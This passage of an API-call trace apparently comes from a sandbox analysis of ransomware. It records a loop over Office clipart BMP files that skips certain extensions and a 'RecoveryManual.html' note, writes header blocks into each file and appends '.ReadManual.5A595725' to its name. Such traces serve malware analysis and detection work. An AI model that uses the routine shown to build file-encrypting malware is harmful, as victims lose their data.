StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.558] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.558] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.558] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.558] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.558] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" [0273.558] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.ReadManual.5A595725" [0273.558] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.ReadManual.5A595725") returned 87 [0273.558] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39422690846) returned 1 [0273.558] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp")) returned 0x20 [0273.559] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.559] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=108216) returned 1 [0273.559] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a6b8, lpName=0x0) returned 0x184 [0273.559] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.560] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.560] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.562] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.562] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a6b8) returned 0x1de0000 [0273.565] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0273.566] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39423470288) returned 1 [0273.566] CloseHandle (hObject=0x184) returned 1 [0273.566] SetSecurityInfo () returned 0x57 [0273.566] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.566] CloseHandle (hObject=0x194) returned 1 [0273.566] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe48deb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe48deb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02754U.BMP", cAlternateFileName="")) returned 1 [0273.566] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02754U.BMP" | out: lpString1="PH02754U.BMP") returned="PH02754U.BMP" [0273.566] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.566] StrStrIW (lpFirst="PH02754U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.566] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.566] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.566] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.566] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.566] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.566] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.567] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.567] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.567] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.567] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.567] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.567] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.567] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.567] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.567] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" [0273.567] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.ReadManual.5A595725" [0273.567] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.ReadManual.5A595725") returned 87 [0273.567] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39423556560) returned 1 [0273.567] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp")) returned 0x20 [0273.567] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.568] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=108504) returned 1 [0273.568] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a7d8, lpName=0x0) returned 0x184 [0273.568] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.568] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.568] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.570] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.570] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a7d8) returned 0x1de0000 [0273.573] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0273.574] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39424229270) returned 1 [0273.574] CloseHandle (hObject=0x184) returned 1 [0273.574] SetSecurityInfo () returned 0x57 [0273.574] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.574] CloseHandle (hObject=0x194) returned 1 [0273.574] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd50ea200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd50ea200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02755U.BMP", cAlternateFileName="")) returned 1 [0273.574] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02755U.BMP" | out: lpString1="PH02755U.BMP") returned="PH02755U.BMP" [0273.574] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.574] StrStrIW (lpFirst="PH02755U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.574] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.574] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.574] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.574] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.574] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.574] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.574] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.574] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.574] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.574] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.574] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.574] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.574] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.574] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.574] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" [0273.574] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.ReadManual.5A595725" [0273.574] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.ReadManual.5A595725") returned 87 [0273.574] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39424317324) returned 1 [0273.574] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp")) returned 0x20 [0273.575] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.575] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=108504) returned 1 [0273.575] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a7d8, lpName=0x0) returned 0x184 [0273.575] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.576] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.576] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.578] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.578] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a7d8) returned 0x1de0000 [0273.581] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0273.582] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39425044365) returned 1 [0273.582] CloseHandle (hObject=0x184) returned 1 [0273.582] SetSecurityInfo () returned 0x57 [0273.582] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.582] CloseHandle (hObject=0x194) returned 1 [0273.582] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb853a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb853a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02756U.BMP", cAlternateFileName="")) returned 1 [0273.582] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02756U.BMP" | out: lpString1="PH02756U.BMP") returned="PH02756U.BMP" [0273.582] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.582] StrStrIW (lpFirst="PH02756U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.582] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.582] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.582] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.582] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.582] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.582] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.582] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.582] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.582] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.582] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.582] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.582] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.582] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.582] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.582] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" [0273.583] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.ReadManual.5A595725" [0273.583] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.ReadManual.5A595725") returned 87 [0273.583] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39425134244) returned 1 [0273.583] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp")) returned 0x20 [0273.584] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.584] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=197640) returned 1 [0273.584] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30408, lpName=0x0) returned 0x184 [0273.584] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.585] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.585] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.587] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.587] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30408) returned 0x2690000 [0273.595] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0273.596] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39426452613) returned 1 [0273.596] CloseHandle (hObject=0x184) returned 1 [0273.596] SetSecurityInfo () returned 0x57 [0273.596] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.596] CloseHandle (hObject=0x194) returned 1 [0273.596] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe684b00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe684b00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02757U.BMP", cAlternateFileName="")) returned 1 [0273.596] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02757U.BMP" | out: lpString1="PH02757U.BMP") returned="PH02757U.BMP" [0273.596] lstrcmpiW (lpString1="PH02757U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.596] StrStrIW (lpFirst="PH02757U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.596] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.596] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.596] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.596] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.596] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.596] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.596] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.596] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.596] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.596] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.596] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.596] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.596] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.597] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.597] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" [0273.597] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.ReadManual.5A595725" [0273.597] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.ReadManual.5A595725") returned 87 [0273.597] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39426541679) returned 1 [0273.597] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp")) returned 0x20 [0273.597] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.597] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=197640) returned 1 [0273.597] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30408, lpName=0x0) returned 0x184 [0273.597] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.598] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.598] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.600] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.600] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30408) returned 0x2690000 [0273.606] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0273.607] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39427613184) returned 1 [0273.607] CloseHandle (hObject=0x184) returned 1 [0273.607] SetSecurityInfo () returned 0x57 [0273.608] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.608] CloseHandle (hObject=0x194) returned 1 [0273.608] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7c1f400, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7c1f400, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x307f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH02758U.BMP", cAlternateFileName="")) returned 1 [0273.608] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH02758U.BMP" | out: lpString1="PH02758U.BMP") returned="PH02758U.BMP" [0273.608] lstrcmpiW (lpString1="PH02758U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.608] StrStrIW (lpFirst="PH02758U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.608] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.608] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.608] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.608] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.608] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.608] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.608] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.608] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.608] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.608] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.608] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.608] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.608] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.608] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.608] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" [0273.608] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.ReadManual.5A595725" [0273.608] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.ReadManual.5A595725") returned 87 [0273.608] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39427701274) returned 1 [0273.608] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp")) returned 